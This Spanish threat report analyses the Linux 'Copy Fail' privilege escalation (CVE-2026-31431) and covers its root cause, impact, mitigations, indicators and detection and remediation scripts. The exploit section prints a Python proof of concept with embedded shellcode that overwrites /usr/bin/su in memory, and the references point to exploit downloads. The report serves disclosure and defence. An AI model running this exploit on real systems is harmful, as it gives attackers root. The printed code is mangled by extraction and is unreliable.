Threat Analysis
CVE-2026-31431
Copy Fail LPE
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VERSION FECHA DESCRIPCION
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1.2 04/05/2026  Publicacién del informe.
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Introduccion

El presente informe analiza la vulnerabilidad CVE-2026-31431, identificada bajo el nombre
"Copy-Fail". Este fallo critico de seguridad afecta al kernel de Linux y permite a un usuario sin
privilegios obtener acceso de superusuario (root) de forma instantanea.

Normalmente una escalada de privilegios local (LPE) que afecte al kernel suele ser inestable y
dejar unrastro claro, siendo mas facilmente detectable por los equipos de defensa. Ejemplos de
ello son “Dirty Cow” (2016) y “Dirty Pipe” (2022).

A diferencia de estos ataques, que buscan modificar archivos en el disco, "Copy-Fail" explota
una debilidad en la gestién de la Page Cachey la interfaz criptografica AF_ALG, permitiendo la
inyeccién de cddigo malicioso directamente en la memoria volatil del sistema (RAM).

Ademas de su ejecucion en memoria RAM, sin dejar rastro en disco y eliminando gran parte de
las herramientas defensivas, su codigo es estable y determinista funcionando en la gran
mayoria de sistemas Linux desde 2017.

Alcance y objetivos

Este documento detalla el funcionamiento técnico del exploit, valida su eficacia mediante
pruebas de concepto (PoC) en entornos controlados y propone metodologias de deteccion
basadas en la discrepancia entre la caché de memoriay la E/S directa del hardware (Direct 1/O).

A pesar de la existencia de reglas de deteccién (Sigmay YARA) desarrolladas por la comunidad
de inteligencia de amenazas, la naturaleza volatil del atague exige un monitoreo activo de la
integridad de la memoria, un vector que a menudo se ignora en las auditorias de seguridad
estandar.

Autores

Elinforme ha sido desarrollado por los siguientes autores, profesionales en activo en el
sector de la ciberseguridad. La contribucion de cada autor ha sido fundamental para
desentrafiar la mecanica de esta vulnerabilidad, replicar el exploit con éxito en entornos
controlados y proponer medidas de mitigacién efectivas.

e Rafael Ruiz Villén: Chief Executive Officer en Cloud y Olé.

e Rafael Cosme Cafiadas: Cybersecurity analyst and SOC platform and integrations
engineer at Getronics.
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Funcionamiento

La informacién de este apartado ha sido obteniday traducida del blog del equipo investigador
original del CVE.

Copy Fail (CVE-2026-31431) es un error de logica en la plantilla criptografica authencesn del
kernel de Linux. Permite que un usuario local sin privilegios active una escritura de 4 bytes
deterministay controlada en la caché de paginas (page cache) de cualquier archivo legible en el
sistema. Un simple script de Python de 732 bytes puede editar un binario setuid y obtener
privilegios de root en esencialmente todas las distribuciones de Linux lanzadas desde 2017.

El kernel nunca marca la pagina corrompida como "sucia" (dirty) para su reescritura en disco,
por lo que el archivo fisico permanece inalterado y las comparaciones de sumas de verificaciéon
(checksum) estandar en disco no detectan la modificacidn. Sin embargo, la caché de paginas es
lo que realmente se lee al acceder al archivo, por lo que la versién corrompida en memoria es
visible de inmediato en todo el sistema. Un usuario local puede convertir esto en acceso root
corrompiendo la caché de paginas de un binario setuid. Esta primitiva también atraviesa los
limites de los contenedores porque la caché de paginas se comparte en todo el host.

Este hallazgo fue asistido por |A, pero comenzé con una idea del investigador de Theori,
Taeyang Lee, quien estudiaba cédmo el subsistema criptografico de Linux interactta con los
datos respaldados por la caché de paginas. Utilizé Xint Code para escalar su investigacion a
todo el subsistema criptografico, y Copy Fail fue el hallazgo mas critico.

¢Qué hace que Copy Fail sea diferente?

El kernel de Linux ha tenido errores de escalada de privilegios de alto perfil anteriormente.
Dirty Cow (CVE-2016-5195) requeria ganar una condicion de carrera; a menudo fallaba o
blogueaba el sistema. Dirty Pipe (CVE-2022-0847) era especifico de ciertas versiones y
requeria una manipulacién precisa de los buferes de tuberia (pipes).

Copy Fail es un fallo de légica directo. Se activa sin carreras, reintentos ni ventanas de tiempo
propensas a fallos.

Portable: El mismo script funciona en todas las distribuciones y arquitecturas probadas
(Ubuntu, Amazon Linux, RHEL, SUSE). Sin offsets especificos por distribucion.

Diminuto: El exploit es un script corto de Python que solo usa médulos estandar (os, socket,
zlib). No requiere cargas uUtiles compiladas.

Sigiloso: La escritura omite la ruta ordinaria de escritura de VFS. Las herramientas de
integridad de archivos que comparan sumas de verificacion en disco no veran nada.
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Impacto entre contenedores: Al compartirse la caché de paginas, es un vector de compromiso
para nodos de Kubernetes.

Tabla comparativa:

Caracteristica Dirty Cow (2016) Dirty Pipe (2022) Copy Fail (2026)

Condiciéon de carrera Requerida No No (Logica lineal)
(Inestable)

Offsets especificos No No No (Universal)

Fiabilidad 30-80% ~90% 100% (Single shot)

Ventana temporal ~9 afios ~2 afios ~9 afios (2017-2026)

A diferencia de exploits histéricos como Dirty Cow, que dependian de condiciones de carrera
(race conditions) y podian causar un Kernel Panic si el tiempo no era exacto, Copy Fail es lineal
y determinista. No hay azar; si el codigo se ejecuta, la escritura de 4 bytes ocurre. Esto lo
convierte en una herramienta de nivel de estado (state-sponsored grade) por su bajisimo riesgo
de interrumpir el servicio durante la explotacion.

La Causa Raiz: Paginas de la caché en un Scatterlist escribible

AF_ALG es un tipo de socket que expone el subsistema criptografico del kernel al espacio de
usuario sin privilegios. Un usuario puede invocar cifrado o descifrado sobre datos arbitrarios.

Una primitiva fundamental aqui es splice(): transfiere datos entre descriptores de archivoy
tuberias sin copiar, pasando las paginas de la caché por referencia. Cuando un usuario hace un
splice de un archivo hacia un socket AF_ALG, la lista de dispersion (scatterlist) de entrada del
socket mantiene referencias directas a las paginas fisicas del kernel que respaldan ese archivo.

Para el descifrado AEAD, la entrada es AAD || texto_cifrado || etiqueta_auth. En el codigo
algif_aead.c, la operacion se configura como "in-place"” (en el lugar), lo que significa que el
mismo scatterlist sirve como entraday salida.

El disefio in-place coloca paginas de la caché de paginas en una lista de dispersién escribible. El

disefo asume que cada algoritmo AEAD se limitard a escribir en el destino previsto, pero nada
en la APl lo obliga. Desafortunadamente, un algoritmo rompe este invariante.
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El Disparador: La "escritura de borrador" de authencesn

authencesn es un envoltorio AEAD utilizado por IPsec para el soporte de Nimeros de
Secuencia Extendidos (ESN). Para el calculo de HMAC, este algoritmo necesita reorganizar los
bytes del nimero de secuencia.

Realiza esta reorganizacién utilizando el bufer de destino del llamador como "espacio de
borrador" (scratch space). En la funcion crypto_authenc_esn_decrypt(), el algoritmo escribe 4
bytes en el desplazamiento assoclen + cryptlen, mas alla de la etiqueta AEAD. El algoritmo esta
usando memoria que no le pertenece como un bloc de notas temporal.

Enlarutain-place de AF_ALG, esta escritura cruza desde el bufer de salida hacia las paginas de
la caché de paginas encadenadas. El valor de 4 bytes se escribe directamente en la copia en
caché del archivo de destino. Aunque el descifrado falle finalmente y devuelva un error, la
escritura de 4 bytes persiste en la memoria.

El exploit (original)
La ruta de explotacion predeterminada apunta a /usr/bin/su, un binario setuid-root presente
en casi todas las distribuciones.

1. Configuracion del socket: Se abre un socket AF_ALG y se vincula a authencesn.

2. Construccion de la escritura: Para cada trozo de 4 bytes de la carga Gtil (shellcode), se
construye un par sendmsg() + splice(). El sendmsg proporciona el valor a escribir; el
splice proporciona las paginas de la caché del archivo objetivo (/usr/bin/su).

3. Activacion: Al llamar a recv(), el kernel realiza el descifrado y escribe los 4 bytes
controlados en la caché de paginas de /usr/bin/su.

4. Ejecucion: Una vez escritos todos los trozos, se ejecuta execve("/usr/bin/su"). El kernel

carga el binario desde la caché de paginas corrompida, que ahora contiene el shellcode.
Al ser setuid-root, el cddigo se ejecuta con UID O.

import os as g, zlib, socket as s

def d(x):
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return bytes.fromhex(x)

c(f, t, c):

a = s.socket(38, 5, 0)
a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))

h =

v = a.setsockopt

v(h, 1, d("0800010000000010" + "O" * )D)
v(h, 5, None, 4)

u, _ = a.accept()
o=1t+
i = d("ee")

u.sendmsg(
[b"A"™ * 4 + c],
[

(h) ) i @ ))
(h, 2, b"\x10" + i * 19),
(h, 4, b"\x08" + i * 3),

1,
»)
r, w= g.pipe()
n = g.splice
n(f, w, o, offset_src=0)
n(r, u.fileno(), o)

try:
u.recv(8 + t)
except:

f = g.open("/usr/bin/su", @)
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zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040
€0c160c301d209a154d16999e07e5c1680601086578cofof864c7e568f5e5b7e10175b9
675c44c7e56c3ff593611fcactad99979fac5190c0cOc0032c310d3"))

while i < len(e):
c(f, i, e[i :
i+=

g.system("su"

Es deinterés remarcar que aunque el exploit original afecte inicamente al binario “su”, puede
replicarse este comportamiento en cualquier binario o fichero del sistema.

Alafecha de redaccion de este documento ya se han observado implementaciones del exploit

en Cy en Golang atacando los binarios con setuid root “chpasswd”, “ping” y el fichero
“/etc/passwd” creando otras escaladas alternativas a superusuario/root.

TLP:CLEAR


mailto:threatintel@cloudyole.es

7N\

w threatintel@cloudyole.es TLP:CLEAR

i

Impacto

Es fundamental entender que no es una vulnerabilidad de ejecucién remota de cédigo (RCE)
por si misma. Tal como se deduce de su funcionamiento, el atacante ya debe tener la capacidad
de ejecutar cédigo (aunque sea con los privilegios mas bajos del sistema) para abrir el socket
AF_ALG y manipular el page cache.

Sin embargo, su peligrosidad no debe subestimarse, ya que acttia como el componente final y
mas letal de una intrusion:

El fin de la segmentacion de privilegios

En un escenario de ataque real, un intruso suele obtener acceso inicial a través de una
vulnerabilidad en una aplicacién web (como un Unrestricted File Upload o un Command
Injection) que le otorga una shell limitada como el usuario www-data. En este punto, el sistema
sigue siendo relativamente "seguro” porque el atacante esta confinado. Copy Fail es la
herramienta que rompe ese confinamiento, permitiendo que un acceso insignificante se
convierta en control total (root) de forma determinista y silenciosa.

El vector de "escape de contenedores" (Container escape)

Este es el impacto mas critico en entornos de nube. Dado que el kernel es compartido entre el
host y los contenedores, la caché de paginas también lo es. Si un atacante compromete un
contenedor en un cltster de Kubernetes, puede usar Copy Fail para corromper la memoria de
un binario que reside en el host fisico. Esto permite saltar las barreras de aislamiento del
contenedor sin necesidad de explotar configuraciones erréneas de Docker, atacando
directamente la |6gica del kernel.

Sigilo y persistencia volatil
A diferencia de otros métodos de escalada que requieren modificar archivos sensibles en el

disco, Copy Fail solo ensucia la memoria RAM.

Sin rastro en disco: el archivo fisico /usr/bin/su permanece intacto. Una auditoria de integridad
de archivos (como debsums o rpm -V) no encontrard anomalias.

Persistencia: La corrupcion permanece en la caché hasta que el sistema se reinicia o la pagina

es expulsada por presion de memoria, lo que da al atacante una ventana de tiempo
considerable para operar sin ser detectado.
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Una vez tenga ejecucidon en memoria, un atacante sofisticado podria intentar deshabilitar o
dejar fuera de juego a softwares de monitorizacién y seguridad presentes en el sistema,
pudiendo desplegar posteriormente persistencias mas avanzadas.

Posibles escenarios

Debido a que el Page Cache es un recurso global del kernel compartido entre el host y todos los
contenedores, un usuario sin privilegios en un pod puede mutar un binario que el host oun
contenedor de otro inquilino (tenant) ejecutara posteriormente, rompiendo totalmente el
aislamiento de seguridad.

Entorno Riesgo Justificacion

Multi-tenant / cloud SaaS Critico Escape de sandbox y compromiso del host desde
instancias de clientes.

Kubernetes / contenedores  Critico El Page Cache compartido permite ataques
cross-tenant y compromiso del nodo.

CI/CD /Build farms Critico Ejecucion de codigo no confiable en PRs que
escalan aroot en el agente.

Workstations de devs Medio Riesgo en la cadena de suministro (plugins o
librerias maliciosas ganando root).

Servidores single-user Medio Requiere una brecha previa (RCE), pero garantiza
persistenciay control total.
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Mitigacion
Como suele ocurrir con este tipo de vulnerabilidades, se ha hecho una publicacién responsable,
notificando a los mantenedores de software y actuando de forma coordinada.

Linus Torvalds modificé a finales de marzo el cédigo del kernel para parchear el fallo de
seguridad. A la fecha de redaccién de este documento alguno de los mantenedores de las
distribuciones principales de Linux, han sacado sus respectivos parches de manera publica para
la actualizaciéon masiva.

La solucion

El parche (2664bf3d603d) revierte algif_aead.c a una operacién "out-of-place" (fuera de lugar),
eliminando por completo la optimizacién de 2017. Ahora, el origen y el destino son listas de
dispersion separadas, por lo que las escrituras de borrador ocurren en el bufer del usuarioy no
en la caché de paginas del kernel.

Remediacion

Actualizar el kernel: las distribuciones principales ya estan publicando o publicaran
préximamente los parches.

Mitigacion inmediata: deshabilitar el modulo algif_aead: Para la mayoria de los servidores
empresariales, este médulo no es necesario. Deshabilitarlo no afecta a LUKS ni a IPsec (que

usan la APl interna del kernel), pero rompera aplicaciones que utilicen explicitamente el motor
afalg de OpenSSL.

lsmod | grep algif aead

sudo modprobe -r algif_ aead

echo "blacklist algif aead" | sudo tee /etc/modprobe.d/copy-fail.conf

Restriccion de Syscalls: Implementar perfiles de seccomp para denegar la creacion de sockets
de la familia AF_ALG (dominio 38) en cargas de trabajo donde no sea estrictamente necesario.
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Deteccion e indicadores

La deteccion es compleja porque el ataque no deja rastro en el almacenamiento fisico. Una
imagen forense "en frio" mostrara un sistema limpio. Igualmente, la monitorizacién de
integridad de archivos (FIM) estandar es ineficaz contra Copy Fail. La caza de amenazas debe
centrarse en anomalias en la memoria "caliente" del page cache y en la telemetria de syscalls.

Estrategias de Identificacion:
o Deteccidn "en caliente": herramientas como AIDE o Tripwire sélo detectaran la
alteracioén si el escaneo ocurre mientras la pagina corrupta reside en el caché. Un
reinicio o la liberacién de memoria por presién (memory pressure) eliminara el rastro.

e Monitoreo de tiempo de ejecucidn: utilizar auditd o eBPF para detectar el patréon de
llamadas socket(38, 5, 0) seguido de splice() desde usuarios no root. Algunos recursos
paraello:

e Reglas YARA: escaneo de memoria buscando firmas de PoCs conocidos. Ejemplo:

o Recoge firmas de los PoC’s conocidos publicamente, un exploit modificado u
ofuscado podria hacer bypass a la regla pero para ataques poco sofisticados
seria efectiva:
https://github.com/Neo23x0/signature-base/blob/master/yara/expl copy fail ¢

ve 2026 31431vyar

e Indicadores de ataque (loAs) imprescindibles:

o Patrones de socket: uso de la cadena de algoritmo
“authencesn(hmac(sha256),cbc(aes))” y la familia de socket 38/AF_ALG.
Uso de la operacion Splice.

o Hex patterns en memoria: presencia del valor 0800010000000010 (utilizado
en setsockopt para configurar el socket AEAD).
Transmisién repetida de 4 bytes a través del socket anteriormente descrito.
Firmas de shellcode: fragmentos de shellcodes minimos (ELF de ~1.7KB)
disenados para setuid(0) y execve("/bin/sh") o similar.

Entornos SOC

En entornos donde existe un SOC maduro y sélido con capacidades de deteccion
correctamente definidas y alineadas con estandares del sector y que cuentan conlas 3
herramientas clave que nos dan visibilidad total (EDR, SIEM y NDR) afiadido a un equipo de
gestion de vulnerabilidades, los ataques basados en LPE no deberian representar unriesgo
critico por si mismos, ya que un LPE requiere necesariamente de un vector de entrada previo.
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Es justo en este vector de entrada previo donde muchas veces merece la pena poner el
esfuerzo y donde una buenas detecciones establecidas por un SOC bien estructurado y sélido
marcan la diferencia.

Antes de que un atacante pueda ejecutar un LPE, debe haber completado varias fases previas:

e Reconocimiento del entorno objetivo.
e |dentificacion de un sistema vulnerable.
e Obtenciéon de acceso inicial.

Cada una de estas etapas forma parte del ciclo tipico de ataque y deberia contar con sus
detecciones especificas en funcion del entorno que tenemos que proteger.

Esto nos lleva a una solucién clara, si queremos poner en valor la seguridad y capacidad de
reaccion, incluso a amenazas que no contemplamos o desconocemos en un primera instancia,
priorizar la deteccién y monitorizacién de vectores de acceso inicial, especialmente aquellos
gue puedan derivar en un RCE dentro de la infraestructura protegida es clave y mas en casos
como el de este informe.

Es importante remarcar que es vital interrumpir la cadena de ataque en sus primeras fases,
donde el impacto es considerablemente menor y la capacidad de respuesta es mas efectiva.

Por lo que nuestra propuesta es que al menos se cubran los siguientes TTPs de la matriz de
MITTRE en funcion de los posibles RCEs.

Sistemas operativos/servicios:
T1133 External Remote Services

e T1210 Exploitation of Remote Services

e T1021 Remote Services

e T1059 Command and Scripting Interpreter
Entornos WEB:

e T1190 Exploit Public-Facing Application

e T1059.001 Intérprete de comandos y scripts: PowerShell
e T1059.003 Command and Scripting Interpreter: Windows Command Shell
e T1059.004 Command and Scripting Interpreter: Unix Shell
e T1505.003 Server Software Component: Web Shell
CLOUD y contenedores:

e T1552.005 Unsecured Credentials: Cloud Instance Metadata API
e T1611 EscapetoHost
e T1609 Container Administration Command
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e T1610 Deploy Container
e T1552.007 Unsecured Credentials: Container API
e T1566.001 Phishing: Spearphishing Attachment

Endpoints:
e T1566.002 Phishing: Spearphishing Link
e T1204.002 User Execution: Malicious File
e T1203 Exploitation for Client Execution
e T1059 Command and Scripting Interpreter

APls y microservicios:
e T1190 Exploit Public-Facing Application
e T1059 Command and Scripting Interpreter
e T1552 Unsecured Credentials
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Empresa pequenay sysadmins

En entornos donde no se dispone de recursos, herramientas de monitorizaciéon avanzada
(XDR/EDR) o presupuestos para seguridad ofensiva, la deteccién y triaje del CVE-2026-31431
(Copy-Fail) debe apoyarse en laintegridad de la Page Cache. Dado que este exploit es volatil y
no deja rastro en el sistema de archivos fisico, el approach propuesto se basa en scripts de
auditoria que contrasten el disco (presuntamente confiable) con el binario parcheado en
memoria.

A. Principio de discrepancia

La forma mas efectiva y econémica de detectar este compromiso es explotar la inconsistencia
gue el ataque genera entre lamemoria RAMy el disco fisico. Para un administrador de
sistemas, esto se traduce en una regla de oro: si tras ejecutar el exploit de manera controlada,
el hash en memoria no coincide con el hash en disco, el sistema es vulnerable y puede estar
comprometido. En ausencia de herramientas de seguridad que nos permitan monitorizar
eventos sospechosos debemos hacer un backup de los datos relevantes y asumir el
compromiso.

B. Implementacion de scripts de auditoria

Se recomienda el despliegue de scripts automatizados que realicen dos tipos de
comprobaciones:

Deteccién pasiva (sin privilegios)

Tras ejecutar el exploit, utilizando la lectura de 1/O directa (O_DIRECT), un sysadmin puede
comparar el estado en disco y memoria del binario su (o cualquier otro fichero critico) sin
alertar al atacante y sin necesidad de ser root.

Ventaja: permite monitorizar la integridad desde una cuenta de usuario estandar y no alertar al
atacante cortando su acceso en caso de querer monitorizar su actividad en nuestra red.

Comando clave: dd if=/usr/bin/su iflag=direct | sha256sum comparado contra el sha256sum
/usr/bin/su estandar.

dd if=/usr/bin/su iflag=direct | sha256sum && sha256sum /usr/bin/su

Ejemplo (zsh):

—rruiz@rruiz ~/exploit
“—¢ dd if=/usr/bin/su iflag=direct | sha256sum && sha256sum /usr/bin/su

164+1 records in
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164+1 records out
84360 bytes (84 kB, 82 KiB) copied, 0,0103787 s, 8,1 MB/s

/usr/bin/su

*Verde: valor del binario virgen en disco.
*Rojo: valor del binario malicioso parcheado en memoria.

El flag “iflag=direct” indica al binario dd que acceda directamente al disco, omitiendo la Page
Cache (de la cual no nos fiamos). El comando sha256sum estandar si chequea la Page Cache
directamente sin pasar por disco si puede evitarlo. Si los hashes de ambos no coinciden,
tendremos un sistema vulnerable.

Deteccion activa y remediacion volatil (root)

Mediante el uso de drop_caches, el administrador puede forzar al kernel a purgar la Page Cache.
Si después de esta accién un binario no tiene el mismo hash o se comporta de manera distinta
(por ejemplo antes no pedia contraseia y vuelve a pedirla), confirma la presencia previa del
exploit en RAM.

Ejemplo (bash):

root@rruiz:/home/rruiz/exploit# sha256sum /usr/bin/su
/usr/bin/su
root@rruiz:/home/rruiz/exploit# echo 3 > /proc/sys/vm/drop_caches

root@rruiz:/home/rruiz/exploit# sha256sum /usr/bin/su

/usr/bin/su

*Verde: valor del binario virgen en disco.
*Rojo: valor del binario malicioso parcheado en memoria.
*Cian: purga de la Page Cache.

Bypass

Cabe destacar que si un atacante ha sobrescrito el binario en disco con su versién maliciosa, la
comparacion de hashes no serd una medida efectiva ya que coincidiran. En este caso si aplicaria
la monitorizacién de integridad de archivos (FIM) a nivel de disco suponiendo que contasemos
con datos previos al ataque para detectar una discrepancia.

Este enfoque, si todo lo demas falla, permite a las organizaciones pequenas protegerse
utilizando Unicamente el arsenal que Linux ofrece por defecto. No requiere instalacién de
agentes externos pesados que consuman recursos, lo que lo hace ideal para servidores con
hardware limitado o infraestructuras legacy donde el parcheo inmediato del kernel no
siempre es una opcion viable por razones de produccion.
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DISCLAIMER: El hecho de tener que recurrir a medidas como estas ya indica un estado de
seguridad preocupante. Es preferible, si podemos, evitar recurrir a cualquiera de los siguientes

métodos y eliminar de nuestra superficie de exposicion (previo backup de datos) el servidor
para instalar un sistema operativo con un kernel no vulnerable o parchear el fallo con alguno de
los métodos descritos previamente en este informe. Se asume que los sistemas legacy ya
cuentan con medidas basicas de hardening.

En caso de ser un sistema legacy en produccidn que no pueda cambiarse, la recomendacion es
integrar estas comprobaciones en una tarea programada:

Limpieza de caché periddica

e Frecuencia: cada 5-15 minutos o cada vez que se detecte un potencial indicador de
ataque via monitorizacion.

e Accién: el script debe comparar los hashes y, en caso de discrepancia o loA detectado,
forzar el vaciado de la caché, enviar una alerta inmediata (via email, slack, log
centralizado, etc.) y proceder al bloqueo preventivo de nuevas sesiones.

e Alcance: no limitarse solo a “/usr/bin/su”; es vital incluir “/usr/bin/sudo”,
“/usr/bin/passwd” y cualquier otro binario, fichero o libreria critica que pueda usarse
para una escalada de privilegios con el método de Copy Fail.

*Nota para el equipo de IT: aunque el vaciado de caché (drop_caches) puede impactar
levemente el rendimiento durante unos segundos, en el contexto de un posible compromiso
por CVE-2026-31431, el coste operativo es insignificante comparado con el riesgo de una
escalada de privilegios total.

Monitorizacién y reaccion

Hay entornos y contextos en los que no siempre es factible actualizar el kernel del host de
forma inmediata debido a dependencias criticas o falta de una ventana de mantenimiento. Para
estos escenarios, hemos desarrollado una solucién que detecta el intento de explotacién en
tiempo real y restaura el estado del sistema automaticamente utilizando rsyslog y su médulo
omprog.

Instalacion y preparacién del entorno

Primero, aseguramos que rsyslog esté presente y activo en el sistema (ejemplo para
distribuciones basadas en Debian/Ubuntu):

sudo apt-get update && sudo apt-get install rsyslog -y

sudo systemctl enable --now rsyslog
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Script de remediacion

Este script actia como el "sensor" de respuesta. Su funcién es verificar si el sistema esta siendo
comprometido por la vulnerabilidad CVE-2026-31431, restablecer los valores afectados y
reiniciar los modulos criptograficos indirectos (algif_aead y af_alg) a su estado base.

#!/bin/bash

LOG_FILE="/var/log/script seguridad.log"

while read -r MSG_RSYSLOG; do
{
echo "--- Event detected: $(date) ---"
echo "rsyslog log: $MSG_RSYSLOG"

echo "[+] Starting integrity check"
HASH_PRE=$(/usr/bin/sha256sum /usr/bin/su | awk '{print $1}')

sync
if ! echo 3 > /proc/sys/vm/drop_caches; then
echo "[!] ERROR: Cache unable to flush (might root be
needed?)"

echo 3 | sudo tee /proc/sys/vm/drop_caches

fi
HASH_POST=$(/usr/bin/sha256sum /usr/bin/su | awk '{print $1}')

if [ "$HASH_PRE" != "$HASH_POST" ]; then
echo "[!!!] ALARM: Evidence of manipulation spotted, hashes
does not match!"
echo " Disk: $HASH POST"
echo " RAM: $HASH_PRE"
echo " HHEHE A

/sbin/modprobe -r algif aead 2>/dev/null

/sbin/modprobe -r af _alg 2>/dev/null
echo "Fixed"
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} >> "$LOG_FILE" 2>&1
done

Configuracién de permisos de seguridad

Es critico que este archivo esté protegido para evitar manipulacionesy por extensién posibles
ataques no esperados, por lo que le aplicaremos una configuracion de permisos de seguridad

sudo chown root:root /ruta/al/archivo/remediate.sh
sudo chmod 700 /ruta/al/archivo/remediate.sh

Configuracién de deteccion en rsyslog

Para que el sistema reaccione al log del kernel, creamos un archivo de configuracién en la ruta
/etc/rsyslog.d/

Este filtrard cadenas especificas como PF_ALG o authencesn(hmac(sha256),cbc(aes)) ya que
pertenecen a los logs que genera este ataque como podemos ver en laimagen

"L kernel: NET: Registered PF_ALG protocol family
kernel: alg: No test for authencesn(hmac(sha256),cbc(aes)) (authencesn(hmac(sha256-geneg
kernel: process 'su' launched '/bin/sh' with NULL argv: empty string added

Tras eso invocara el script de remediacion, cuyo contenido es el siguiente.

Fichero /etc/rsyslog.d/99-authencescan.conf:

module(load="omprog")

if ($syslogfacility-text == 'kern' and $msg contains "authencesn" or
$msg contains "Registered PF_ALG") then {

action(type="omprog"
binary="/usr/bin/sudo /usr/local/bin/copyfail_ fix.sh"
confirmMessages="off"
output="/var/log/omprog debug.log")

action(type="omfile" file="/var/log/alertas_authencescan.log")

stop

Es importante que no se nos olvide invocar desde el archivo de configuracién al script de
remediacién como sudo.
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Por dltimo afadimos una excepcién en el archivos de sudoers para que rsyslog pueda ejecutar
el script de remediaciéon como root.

Ejecutamos:

sudo visudo

Anadimos lo siguiente al final del archivo

@includedir /etc/sudoers.d

syslog ALL=(root) NOPASSWD: <ruta_del_archivo_.sh>|

De esta forma syslog podra ejecutar solo ese archivo archivo como root y sin necesidad de
pedir la contrasena.

Consideraciones finales y riesgos

Aunque esto evita el compromiso del host de forma inmediata, presenta ciertas limitaciones:
e Consumo derecursos: larecarga constante de médulos en memoria puede impactar el
rendimiento si el ataque es persistente (DoS local).
o No esuna medida final: esta medida no sustituye al parche oficial del kernel, es una
defensa activa para ganar tiempo hasta la préoxima ventana de actualizacion.
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Referencias

A continuacién se adjuntan todos los documentos, articulos y recursos empleados para la
realizacion de este informe:

Vulnerabilidad:

e CVE: https://nvd.nist.gov/vuln/detail/CVE-2026-31431
e Disclosure: https://copy.fail/

e Technical write-up: https://xint.io/blog/copy-fail-linux-distributions

Exploits:

e Original exploit:

curl https://copy.fail/exp

e Github original exploit: https://github.com/theori-io/copy-fail-CVE-2026-31431

e Alpine ping exploit: https://hackerspace.pl/~g3k/alpine.py

e Github C port: https://github.com/tgies/copy-fail-c
e Github Go implementation: https://github.com/badsectorlabs/copyfail-go

*Deteccion y reglas:
e Sigmarules, detection and monitoring script (Kadir github repo):

https://github.com/kadir/copy-fail-CVE-2026-31431-10C/tree/main/detect
e YARA rule (Neo23x0 github repo):

https://github.com/Neo23x0/signatu

6 31431vyar

[*] Sobre las reglas de deteccion:
Estas reglas no son en absoluto infalibles y hay incontables maneras de evadirlas. Sin embargo,
ante atacantes poco sofisticados que simplemente estén adquiriendo los payloads conocidos

publicamente hasta la fecha, puede ser una medida efectiva.
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